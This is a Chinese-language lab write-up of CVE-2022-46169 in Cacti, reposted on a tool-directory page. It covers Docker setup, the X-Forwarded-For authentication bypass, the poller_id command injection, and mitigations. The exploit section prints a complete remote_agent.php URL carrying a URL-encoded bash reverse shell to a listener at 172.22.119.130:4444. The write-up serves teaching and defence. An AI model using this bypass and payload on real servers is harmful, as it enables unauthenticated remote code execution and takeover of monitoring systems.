Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-46169 — 逐步分析 CVE-2022-46169:通过身份验证绕过和命令注入在 Cacti 中实现未认证远程代码执行,包含 Docker 实验环境搭建与利用演练。 | Kitploit
工具/GitHubGitHub/hpt-intern-task-submission/cve-2022-46169
漏洞分析漏洞利用Web应用程序漏洞利用命令与控制身份验证学习与教育实验室与实践
GitHubhpt-intern-task-submission/cve-2022-46169

CVE-2022-46169

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

逐步分析 CVE-2022-46169:通过身份验证绕过和命令注入在 Cacti 中实现未认证远程代码执行,包含 Docker 实验环境搭建与利用演练。

查看仓库
42年前尚未审核
分享

CVE-2022-46169 - Cacti 中的未认证远程代码执行

Cacti 是什么?其漏洞是什么?

Cacti 是一款用 PHP、MySQL/MariaDB 编写的开源运维监控工具,提供了友好的界面。

该漏洞于 2022 年被发现,影响 1.2.23 之前的所有版本。此漏洞需要将身份验证绕过与命令注入链接起来,才能实现 RCE(远程代码执行)。

实验环境搭建

在这篇 CVE 分析中,我将在 Docker 中运行 Cacti,并使用 VSCode 进行代码分析。环境搭建非常简单,首先我们需要一个 docker-compose.yaml 文件来创建新环境。下面是 docker-compose.yaml 文件的内容:

root@kitploit:~
version: '2'

services:

  

cacti:

image: "smcline06/cacti"

container_name: cacti

domainname: example.com

hostname: localhost

ports:

- "8088:80"

environment:

- DB_NAME=cacti_master

- DB_USER=cactiuser

- DB_PASS=cactipassword

- DB_HOST=db

- DB_PORT=3306

- DB_ROOT_PASS=rootpassword

- INITIALIZE_DB=1

- TZ=America/Los_Angeles

volumes:

- cacti-data:/cacti

- cacti-spine:/spine

- cacti-backups:/backups

links:

- db

  

db:

image: "mariadb:10.3"

container_name: cacti_db

domainname: example.com

hostname: db

ports:

- "3307:3306"  # Change host port to 3307

command:

- mysqld

- --character-set-server=utf8mb4

- --collation-server=utf8mb4_unicode_ci

- --max_connections=200

- --max_heap_table_size=128M

- --max_allowed_packet=32M

- --tmp_table_size=128M

- --join_buffer_size=128M

- --innodb_buffer_pool_size=1G

- --innodb_doublewrite=ON

- --innodb_flush_log_at_timeout=3

- --innodb_read_io_threads=32

- --innodb_write_io_threads=16

- --innodb_buffer_pool_instances=9

- --innodb_file_format=Barracuda

- --innodb_large_prefix=1

- --innodb_io_capacity=5000

- --innodb_io_capacity_max=10000

environment:

- MYSQL_ROOT_PASSWORD=User@123

- TZ=America/Los_Angeles

volumes:

- cacti-db:/var/lib/mysql

  

volumes:

cacti-db:

cacti-data:

cacti-spine:

cacti-backups:

创建文件后,打开命令行并切换到该文件所在目录,运行命令 docker-compose up -d,然后打开浏览器访问 localhost:8088。首先你会看到一个登录页面:

login_page

默认凭据是 admin/admin。设置过程将通过下面的图片展示:

new_password

创建新密码

1 2 1 1 1 1 1 1 1 1 1

完成安装后,我们会看到一个类似这样的控制台界面

console

现在让我们开始分析这个漏洞。众所周知,存在漏洞的文件是 remote_agent.php,所以我们尝试在浏览器中访问该文件

remote_agent

页面显示我们无权访问该文件。是时候查看该文件的源代码了

remote_client_authorized

程序通过调用 remote_client_authorized() 函数来进行检查。让我们深入剖析这个函数。

remote_client_authorized_dive_deep

首先,服务器通过 get_client_addr() 函数获取我们的 IP 地址,然后使用 gethostbyaddr() 函数将我们的 IP 解析为主机名。接着,服务器会获取 poller 表中的所有 pollers,并将每个 poller's hostname 与从 IP 地址解析出的 hostname 进行比较。这里有一个绕过点,就在 get_client_addr() 内部:

get_client_addr

我们可以看到,服务器会通过以下请求头之一来获取 IP 地址:

root@kitploit:~
-   X-Forwarded-For
-   X-Client-IP
-   X-Real-IP
-   X-ProxyUser-Ip
-   CF-Connecting-IP
-   True-Client-IP
-   HTTP_X_FORWARDED
-   HTTP_X_FORWARDED_FOR
-   HTTP_X_CLUSTER_CLIENT_IP
-   HTTP_FORWARDED_FOR
-   HTTP_FORWARDED
-   HTTP_CLIENT_IP
-   REMOTE_ADDR

这使我们能够完全控制 IP 地址的值。在这种情况下,我们可以使用 X-Forwarded-For 头将我们的 IP 伪装成一个有效 IP,从而绕过授权检查。X-Forwarded-For 头通常用于在客户端与服务器之间存在代理或负载均衡器时识别原始 IP 地址。然而,这也成为了攻击者可利用的攻击面。由于我们是在本地运行 Cacti,我们需要指定一个会被解析为 localhost 的 IP 地址,即 127.0.0.1。

IP_spoofed

现在看起来不错了吧?然而,这仅仅是开始,兄弟们!!!我们需要更多的代码分析,才能成功注入命令并获得远程代码执行。完成身份验证后,程序会执行这段代码

switch_case_action

服务器会获取 action 参数并进入 Switch/Case 分支。如果 action 的值为 pollerdata,程序将调用 poll_for_data() 函数。该函数存在命令注入漏洞,因此我们将仔细分析它。

poll_for_data

该函数接收 3 个参数 $local_data_ids、$host_id、$poller_id,它们来自用户的请求参数 local_data_ids、host_id、poller_id。注意获取参数所用函数的差异,一个是 get_filter_request_var,另一个是 get_nfilter_request_var,后一个函数多了一个 n,我们稍后会详细讨论。之后,程序会检查我们是否提供了 local_data_ids 参数,并逐个循环,根据 local_data_ids 和 host_id 从 poller_item 表中检索数据。查询结果将保存在 $items 中。

proc_open

如果查询返回结果,程序将遍历 $items 中的每个 $item,并进入 Switch/Case 语句,该语句以 $item['action'] 作为 Switch 值。这里有很多 case,但我们应该关注的是 POLLER_ACTION_SCRIPT_PHP,即 action 等于 2 的情况。

POLLER_ACTION_SCRIPT_PHP

一旦 action 为 2,程序就会执行 proc_open() 命令,该命令与 exec() 非常相似,并将 $poller_id 作为其中一个变量,而该变量完全由我们控制。为了更直观地了解情况,我们应该访问数据库并检索 poller_item 表的内容,看看它是什么样的。

poller_item_table

从表中我们可以看到,我们需要暴力枚举 local_data_id 才能找到 action = 2 的 poller,这在真实世界的利用中同样适用。默认情况下,Cacti 没有任何 action = 2 的 poller,但我们可以通过添加新模板(如 device)来实现。

create_device_1

create_device_2

create_device_3

创建新的 device 后,我们再次访问 poller_item 表,会看到有一条新的 action = 2 的 poller 记录

create_device_4

现在让我们重新回顾整个过程。要成功利用该漏洞,我们首先需要通过添加 X-Forwarded-For 头来绕过身份验证。下一步是将 action 参数设置为 polldata,host_id = 1,local_data_ids 等于对应的具有 action = 2 的 poller,在本例中 local_data_ids = 6,而最重要的是,poller_id 参数正是我们注入命令以实现远程代码执行的位置。正是使用了 get_nfilter_request_var() 才使该参数变得脆弱。get_filter_request_var 只接受整数,而 get_nfilter_request_var 允许我们输入字符串。此外,该参数没有输入验证,从而导致完全的命令注入。

让我们运行一个 Kali Linux 服务器来监听请求。

kali

我们需要 Kali 的 IP 地址 和 端口(即运行服务器的地址和端口)来构建 payload,在本例中分别是 172.22.119.130 和运行在 4444 端口上的 netcat

现在让我们打开 Burpsuite 开始利用。这里使用的 payload 是 ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261。该 payload 使用 ; 结束前一个命令并执行新命令,其余部分是一个简单的获取反向 shell 的命令。组合在一起,我们得到完整的 URL:localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261

exploit_1

exploit_2

Bump!!!我们已成功利用该漏洞。过程和解释虽然相当长,但总的来说,这并不是一个非常复杂的漏洞。

缓解措施

此漏洞的根本原因是对 poller_id 参数使用了 get_nfilter_request_var() 函数。我们可以将其改为 get_filter_request_var(),使其只接受整数

mitigation_1

我们还可以通过使用 cacti_escapeshellarg() 函数对 poller_id 的值进行清理,从而增加另一层安全防护。这些做法将确保只有有效的输入才能传入 poller_id,然后才用于后续步骤。

mitigation_2

分析到此结束。希望你能学到一些有意义的东西。正如我们所见,漏洞往往出现在用户的输入之中。因此,采取适当的输入验证来保护我们的服务器至关重要。远程代码执行的危害如此巨大,但仍然有办法防范它!!!祝你黑客之旅愉快!

参考

https://viblo.asia/p/phan-tich-lo-hong-unauthenticated-command-injection-cve-2022-46169-trong-phan-mem-cacti-MkNLrOK8VgA https://www.vicarius.io/vsociety/posts/unauthenticated-rce-in-cacti-cve-2022-46169

下载工具